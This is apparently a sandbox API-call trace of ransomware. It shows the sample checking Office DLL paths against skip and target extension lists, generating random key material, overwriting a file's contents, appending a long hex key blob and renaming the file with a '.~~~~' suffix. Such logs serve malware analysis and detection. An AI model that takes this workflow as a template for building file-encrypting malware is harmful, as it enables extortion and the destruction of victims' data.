	[0079.296] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL", lpSrch=".CKP") returned 0x0
	[0079.296] lstrlenW (lpString=".edb") returned 4
	[0079.296] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL", lpSrch=".edb") returned 0x0
	[0079.296] lstrlenW (lpString=".PST") returned 4
	[0079.296] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL", lpSrch=".PST") returned 0x0
	[0079.296] lstrlenW (lpString=".dbf") returned 4
	[0079.296] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL", lpSrch=".dbf") returned 0x0
	[0079.296] lstrlenW (lpString=".SQL") returned 4
	[0079.296] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL", lpSrch=".SQL") returned 0x0
	[0079.296] lstrlenW (lpString=".pst") returned 4
	[0079.296] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL", lpSrch=".pst") returned 0x0
	[0079.296] lstrlenW (lpString=".dbv") returned 4
	[0079.296] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL", lpSrch=".dbv") returned 0x0
	[0079.296] lstrlenW (lpString=".SDF") returned 4
	[0079.296] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL", lpSrch=".SDF") returned 0x0
	[0079.296] lstrlenW (lpString=".dtxs") returned 5
	[0079.296] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL", lpSrch=".dtxs") returned 0x0
	[0079.296] lstrlenW (lpString=".db3") returned 4
	[0079.296] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL", lpSrch=".db3") returned 0x0
	[0079.297] lstrlenW (lpString=".OST") returned 4
	[0079.297] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL", lpSrch=".OST") returned 0x0
	[0079.297] lstrlenW (lpString=".dbx") returned 4
	[0079.297] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL", lpSrch=".dbx") returned 0x0
	[0079.297] lstrlenW (lpString=".DB3") returned 4
	[0079.297] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL", lpSrch=".DB3") returned 0x0
	[0079.297] lstrlenW (lpString=".DAT") returned 4
	[0079.297] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL", lpSrch=".DAT") returned 0x0
	[0079.297] lstrlenW (lpString=".VHDX") returned 5
	[0079.297] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL", lpSrch=".VHDX") returned 0x0
	[0079.297] lstrlenW (lpString=".ndf") returned 4
	[0079.297] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL", lpSrch=".ndf") returned 0x0
	[0079.297] lstrlenW (lpString=".DB") returned 3
	[0079.297] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL", lpSrch=".DB") returned 0x0
	[0079.297] lstrlenW (lpString=".sql") returned 4
	[0079.297] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL", lpSrch=".sql") returned 0x0
	[0079.297] lstrlenW (lpString=".MYD") returned 4
	[0079.297] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL", lpSrch=".MYD") returned 0x0
	[0079.297] lstrlenW (lpString=".DBT") returned 4
	[0079.297] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL", lpSrch=".DBT") returned 0x0
	[0079.297] lstrlenW (lpString=".ACCDB") returned 6
	[0079.297] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL", lpSrch=".ACCDB") returned 0x0
	[0079.297] lstrlenW (lpString=".fdb") returned 4
	[0079.297] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL", lpSrch=".fdb") returned 0x0
	[0079.297] lstrlenW (lpString=".bak") returned 4
	[0079.297] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL", lpSrch=".bak") returned 0x0
	[0079.298] lstrlenW (lpString=".myd") returned 4
	[0079.298] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL", lpSrch=".myd") returned 0x0
	[0079.298] lstrlenW (lpString=".DTXS") returned 5
	[0079.298] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL", lpSrch=".DTXS") returned 0x0
	[0079.298] lstrlenW (lpString=".ckp") returned 4
	[0079.298] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL", lpSrch=".ckp") returned 0x0
	[0079.298] lstrlenW (lpString=".dbt") returned 4
	[0079.298] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL", lpSrch=".dbt") returned 0x0
	[0079.298] lstrlenW (lpString=".db") returned 3
	[0079.298] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL", lpSrch=".db") returned 0x0
	[0079.298] lstrlenW (lpString=".TXT") returned 4
	[0079.298] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL", lpSrch=".TXT") returned 0x0
	[0079.298] lstrlenW (lpString=".MDF") returned 4
	[0079.298] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL", lpSrch=".MDF") returned 0x0
	[0079.298] lstrlenW (lpString=".bdb") returned 4
	[0079.298] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL", lpSrch=".bdb") returned 0x0
	[0079.298] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0079.298] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0079.298] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804470
	[0079.298] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0079.298] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0079.299] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0079.299] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0079.299] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0079.299] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0079.300] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x39b740
	[0079.300] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=19928969265) returned 1
	[0079.300] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x991feb70, dwHighDateTime=0x1d60e1e)) 
	[0079.300] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0079.300] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0079.300] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0079.300] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280b608
	[0079.300] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0079.300] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b608 | out: hHeap=0x300000) returned 1
	[0079.300] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0079.300] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0079.300] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b6df0
	[0079.300] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0079.300] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0870
	[0079.300] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6df0 | out: hHeap=0x300000) returned 1
	[0079.300] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0079.300] GetLastError () returned 0x0
	[0079.301] GetLastError () returned 0x0
	[0079.301] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0079.301] GetLastError () returned 0x0
	[0079.301] GetLastError () returned 0x0
	[0079.301] ReadFile (in: hFile=0x120, lpBuffer=0x2824fd8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesRead=0x24dfec0*=0x3db8, lpOverlapped=0x0) returned 1
	[0079.421] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffffc248, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0079.422] WriteFile (in: hFile=0x120, lpBuffer=0x2824fd8*, nNumberOfBytesToWrite=0x3db8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesWritten=0x24dfec0*=0x3db8, lpOverlapped=0x0) returned 1
	[0079.422] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824fd8 | out: hHeap=0x300000) returned 1
	[0079.429] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0079.429] WriteFile (in: hFile=0x120, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0079.429] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0079.429] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0079.429] CloseHandle (hObject=0x120) returned 1
	[0079.429] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6fe8
	[0079.429] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodexl.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodexl.dll.~~~~")) returned 1
	[0079.448] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6fe8 | out: hHeap=0x300000) returned 1
	[0079.448] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0079.448] GetLastError () returned 0x0
	[0079.448] RtlWakeConditionVariable () returned 0x365f70
	[0079.448] GetCurrentThreadId () returned 0x3a4
	[0079.448] GetCurrentThreadId () returned 0x3a4
	[0079.448] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fb110
	[0079.448] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fb370 | out: hHeap=0x300000) returned 1
	[0079.448] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b758 | out: hHeap=0x300000) returned 1
	[0079.448] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fb370
	[0079.449] lstrlenW (lpString=".scr") returned 4
	[0079.449] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL", lpSrch=".scr") returned 0x0
	[0079.449] lstrlenW (lpString=".cmd") returned 4
	[0079.449] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL", lpSrch=".cmd") returned 0x0
	[0079.449] lstrlenW (lpString=".dll") returned 4
	[0079.449] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL", lpSrch=".dll") returned 0x0
	[0079.449] lstrlenW (lpString=".bat") returned 4
	[0079.449] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL", lpSrch=".bat") returned 0x0
	[0079.449] lstrlenW (lpString=".cpl") returned 4
	[0079.449] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL", lpSrch=".cpl") returned 0x0
	[0079.449] lstrlenW (lpString=".sys") returned 4
	[0079.449] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL", lpSrch=".sys") returned 0x0
	[0079.449] lstrlenW (lpString=".msc") returned 4
	[0079.449] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL", lpSrch=".msc") returned 0x0
	[0079.449] lstrlenW (lpString=".com") returned 4
	[0079.449] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL", lpSrch=".com") returned 0x0
	[0079.449] lstrlenW (lpString=".lnk") returned 4
	[0079.449] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL", lpSrch=".lnk") returned 0x0
	[0079.449] lstrlenW (lpString=".msp") returned 4
	[0079.449] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL", lpSrch=".msp") returned 0x0
	[0079.449] lstrlenW (lpString=".pif") returned 4
	[0079.449] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL", lpSrch=".pif") returned 0x0
	[0079.449] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0079.449] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0079.449] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acetxt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0079.450] lstrlenW (lpString=".sqb") returned 4
	[0079.450] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL", lpSrch=".sqb") returned 0x0
	[0079.450] lstrlenW (lpString=".ost") returned 4
	[0079.450] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL", lpSrch=".ost") returned 0x0
	[0079.450] lstrlenW (lpString=".txt") returned 4
	[0079.450] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL", lpSrch=".txt") returned 0x0
	[0079.450] lstrlenW (lpString=".mdt") returned 4
	[0079.450] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL", lpSrch=".mdt") returned 0x0
	[0079.450] lstrlenW (lpString=".BDB") returned 4
	[0079.450] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL", lpSrch=".BDB") returned 0x0
	[0079.450] lstrlenW (lpString=".eql") returned 4
	[0079.450] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL", lpSrch=".eql") returned 0x0
	[0079.450] lstrlenW (lpString=".DBF") returned 4
	[0079.450] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL", lpSrch=".DBF") returned 0x0
	[0079.451] lstrlenW (lpString=".EQL") returned 4
	[0079.451] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL", lpSrch=".EQL") returned 0x0
	[0079.451] lstrlenW (lpString=".FDB") returned 4
	[0079.451] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL", lpSrch=".FDB") returned 0x0
	[0079.451] lstrlenW (lpString=".EDB") returned 4
	[0079.451] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL", lpSrch=".EDB") returned 0x0
	[0079.451] lstrlenW (lpString=".DACPAC") returned 7
	[0079.451] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL", lpSrch=".DACPAC") returned 0x0
	[0079.451] lstrlenW (lpString=".VHD") returned 4
	[0079.451] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL", lpSrch=".VHD") returned 0x0
	[0079.451] lstrlenW (lpString=".DBV") returned 4
	[0079.451] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL", lpSrch=".DBV") returned 0x0
	[0079.451] lstrlenW (lpString=".dacpac") returned 7
	[0079.451] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL", lpSrch=".dacpac") returned 0x0
	[0079.451] lstrlenW (lpString=".sdf") returned 4
	[0079.451] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL", lpSrch=".sdf") returned 0x0
	[0079.451] lstrlenW (lpString=".accdb") returned 6
	[0079.451] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL", lpSrch=".accdb") returned 0x0
	[0079.451] lstrlenW (lpString=".DBX") returned 4
	[0079.451] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL", lpSrch=".DBX") returned 0x0
	[0079.451] lstrlenW (lpString=".MDT") returned 4
	[0079.451] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL", lpSrch=".MDT") returned 0x0
	[0079.451] lstrlenW (lpString=".SQB") returned 4
	[0079.452] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL", lpSrch=".SQB") returned 0x0
	[0079.452] lstrlenW (lpString=".vhd") returned 4
	[0079.452] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL", lpSrch=".vhd") returned 0x0
	[0079.452] lstrlenW (lpString=".bac") returned 4
	[0079.452] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL", lpSrch=".bac") returned 0x0
	[0079.452] lstrlenW (lpString=".mdf") returned 4
	[0079.452] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL", lpSrch=".mdf") returned 0x0
	[0079.452] lstrlenW (lpString=".BAK") returned 4
	[0079.452] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL", lpSrch=".BAK") returned 0x0
	[0079.452] lstrlenW (lpString=".BAC") returned 4
	[0079.452] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL", lpSrch=".BAC") returned 0x0
	[0079.452] lstrlenW (lpString=".dbs") returned 4
	[0079.452] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL", lpSrch=".dbs") returned 0x0
	[0079.452] lstrlenW (lpString=".vhdx") returned 5
	[0079.452] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL", lpSrch=".vhdx") returned 0x0
	[0079.452] lstrlenW (lpString=".NDF") returned 4
	[0079.452] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL", lpSrch=".NDF") returned 0x0
	[0079.452] lstrlenW (lpString=".dat") returned 4
	[0079.452] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL", lpSrch=".dat") returned 0x0
	[0079.452] lstrlenW (lpString=".DBS") returned 4
	[0079.452] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL", lpSrch=".DBS") returned 0x0
	[0079.452] lstrlenW (lpString=".CKP") returned 4
	[0079.452] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL", lpSrch=".CKP") returned 0x0
	[0079.452] lstrlenW (lpString=".edb") returned 4
	[0079.452] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL", lpSrch=".edb") returned 0x0
	[0079.452] lstrlenW (lpString=".PST") returned 4
	[0079.453] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL", lpSrch=".PST") returned 0x0
	[0079.453] lstrlenW (lpString=".dbf") returned 4
	[0079.453] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL", lpSrch=".dbf") returned 0x0
	[0079.453] lstrlenW (lpString=".SQL") returned 4
	[0079.453] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL", lpSrch=".SQL") returned 0x0
	[0079.453] lstrlenW (lpString=".pst") returned 4
	[0079.453] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL", lpSrch=".pst") returned 0x0
	[0079.453] lstrlenW (lpString=".dbv") returned 4
	[0079.453] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL", lpSrch=".dbv") returned 0x0
	[0079.453] lstrlenW (lpString=".SDF") returned 4
	[0079.453] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL", lpSrch=".SDF") returned 0x0
	[0079.453] lstrlenW (lpString=".dtxs") returned 5
	[0079.453] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL", lpSrch=".dtxs") returned 0x0
	[0079.453] lstrlenW (lpString=".db3") returned 4
	[0079.453] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL", lpSrch=".db3") returned 0x0
	[0079.453] lstrlenW (lpString=".OST") returned 4
	[0079.453] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL", lpSrch=".OST") returned 0x0
	[0079.453] lstrlenW (lpString=".dbx") returned 4
	[0079.453] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL", lpSrch=".dbx") returned 0x0
	[0079.453] lstrlenW (lpString=".DB3") returned 4
	[0079.453] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL", lpSrch=".DB3") returned 0x0
	[0079.453] lstrlenW (lpString=".DAT") returned 4
	[0079.453] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL", lpSrch=".DAT") returned 0x0
	[0079.453] lstrlenW (lpString=".VHDX") returned 5
	[0079.453] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL", lpSrch=".VHDX") returned 0x0
	[0079.454] lstrlenW (lpString=".ndf") returned 4
	[0079.454] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL", lpSrch=".ndf") returned 0x0
	[0079.454] lstrlenW (lpString=".DB") returned 3
	[0079.454] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL", lpSrch=".DB") returned 0x0
	[0079.454] lstrlenW (lpString=".sql") returned 4
	[0079.454] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL", lpSrch=".sql") returned 0x0
	[0079.454] lstrlenW (lpString=".MYD") returned 4
	[0079.454] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL", lpSrch=".MYD") returned 0x0
	[0079.454] lstrlenW (lpString=".DBT") returned 4
	[0079.454] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL", lpSrch=".DBT") returned 0x0
	[0079.454] lstrlenW (lpString=".ACCDB") returned 6
	[0079.454] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL", lpSrch=".ACCDB") returned 0x0
	[0079.454] lstrlenW (lpString=".fdb") returned 4
	[0079.454] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL", lpSrch=".fdb") returned 0x0
